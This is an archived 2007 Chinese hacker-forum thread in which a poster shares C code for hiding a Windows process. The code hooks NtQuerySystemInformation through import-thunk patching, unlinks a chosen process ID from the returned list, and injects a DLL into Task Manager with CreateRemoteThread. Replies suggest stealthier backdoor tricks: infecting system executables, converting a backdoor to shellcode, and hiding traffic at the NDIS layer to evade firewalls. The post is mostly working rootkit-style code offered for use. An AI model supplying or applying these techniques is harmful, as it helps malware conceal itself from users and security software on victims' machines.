邪恶八进制信息安全团队技术讨论组's Archiver

dream2fly 2007-7-13 14:49

[原创]利用NtQuerySystemInformation隐藏进程

文章作者:dream2fly
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

老题,不过对我来说是新题啊,最近研究hook,总结下。

[url]http://www.dream2fly.net[/url]
菠菜dream2fly
联系方式:[email]songbohr@gmail.com[/email]

一、先修改NtQuerySystemInformation函数指针:

方法两种:
1.搜寻IAT(不过有的是动态加载NTDLL.DLL,所以导入表并找不到,不通用)
2.thuck修改(比较通用,嘿嘿)

[language=c]
    if (bFound)
    {
      MessageBoxA(NULL,"find","消息",MB_OK);
      MEMORY_BASIC_INFORMATION mbi;
      int ret = VirtualQuery(ppfn,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
      ret = VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE_READWRITE,&mbi.Protect);

      pThunk->u1.Function = (DWORD)pNTQUERYSYSTEMINFORMATION;
      //挂钩NTQUERYSYSTEMINFORMATION
      DWORD dwOldProtect;
      ret = VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
      break;
    }
[/language]
二、不过是通过摘除ps链表

[language=c]
      lpProcInfo = (PSYSTEM_PROCESSES)SystemInformation;
    while(lpProcInfo->NextEntryDelta!=0)
    {
      //在这里头了个懒,直接比较的是PROCESSID,其实这里应该比较进程名的
      if(lpProcInfo->ProcessId==4068)
      {
        //MessageBox(NULL,L"4068",L"消息",MB_OK);

        lpLastProcInfo->NextEntryDelta += lpProcInfo->NextEntryDelta;
        break;
      }
      else
      {
        lpLastProcInfo = lpProcInfo;
        lpProcInfo = (PSYSTEM_PROCESSES)((PUCHAR)lpProcInfo +lpProcInfo->NextEntryDelta);        
      }  
    }
[/language]

三、最后远程插入taskmgr,ok可以隐藏了[s:264]


[language=c]
  hWindow = ::FindWindow(NULL,"Windows 任务管理器");
  if(hWindow==0)
  {
    return;
  }
  GetWindowThreadProcessId(hWindow,&dwProcessID);
  hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessID);
  if(!hProcess)
  {
    AfxMessageBox("OpenProcess error\n");
    return;
  }
  hDll = LoadLibrary("kernel32.dll");
  if(hDll == NULL)
  {
    AfxMessageBox("Load kernel32.dll error\n");
    return;
  }
  dwLoadLibrary = (DWORD)GetProcAddress(hDll,"LoadLibraryA");
  strcpy(lpMessage,"c:\\threads.dll");
  *pRemote = (RemotePara *)VirtualAllocEx(hProcess,NULL,sizeof(lpMessage),MEM_COMMIT,PAGE_READWRITE);
  WriteProcessMemory(hProcess,pRemote,&lpMessage,sizeof(lpMessage),0);

  hThread = CreateRemoteThread (hProcess ,0,0,(DWORD (__stdcall *)(void *))dwLoadLibrary ,pRemote ,0,&byte_write);
  if(hThread == NULL)
  {
    AfxMessageBox("CreateRemoteThread Error\n");
  }
[/language]

[url]http://www.dream2fly.net[/url]
菠菜dream2fly
联系方式:[email]songbohr@gmail.com[/email]

这种技术很老了,连IS过不了,不过很容易改为ps感染,吼吼。。

sunwear 2007-7-13 15:04

你就按照那时候我写的步骤来写后面的代码吧 哈哈
你试试用KiWaitInListHead列进程。
然后在写替换内核的进程链表的……

dream2fly 2007-7-13 15:26

[quote]引用第1楼sunwear于2007-07-13 15:04发表的 :
你就按照那时候我写的步骤来写后面的代码吧 哈哈
你试试用KiWaitInListHead列进程。
然后在写替换内核的进程链表的……[/quote]
你的步骤,在那?

dfsy 2007-7-13 15:40

这年头,,就不要搞隐藏进程了...进程隐藏了,要是被找出来就是往自己脸上写"我是坏人"

下面两个方法都要比隐藏进程好:自己的工具改成DLL的,再感染下系统的EXE文件
还有一个,前几天在[url]http://forum.eviloctal.com/read-htm-tid-28936.html[/url]看到了..自己的后门改成shellcode(不过会很累哈) 这样更好,,连DLL都没有..
这个觉得隐藏进程没什么意义了,,倒是隐藏通信比较重要,现在的想法是做到NDIS封包,,一般的防火墙是看不出来的(ZA用的也是NDIS,遇上它就看谁先动手了,哈哈)..不过好像比较难写,,在学习中....

dream2fly 2007-7-13 16:07

rku的hook code可以发现外,其他也提示不了啊,呵呵 [s:269]

sunwear 2007-7-13 16:14

[quote]引用第4楼dream2fly于2007-07-13 16:07发表的 :
rku的hook code可以发现外,其他也提示不了啊,呵呵 [s:269][/quote]

我那个还是通过QQ告诉你吧 说出来丢人

RKU 我2K3 SP1 运行一下 蓝了……没再运行 NND 。。

[attach]1060[/attach]

页: [1]
© 1999-2008 EvilOctal Security Team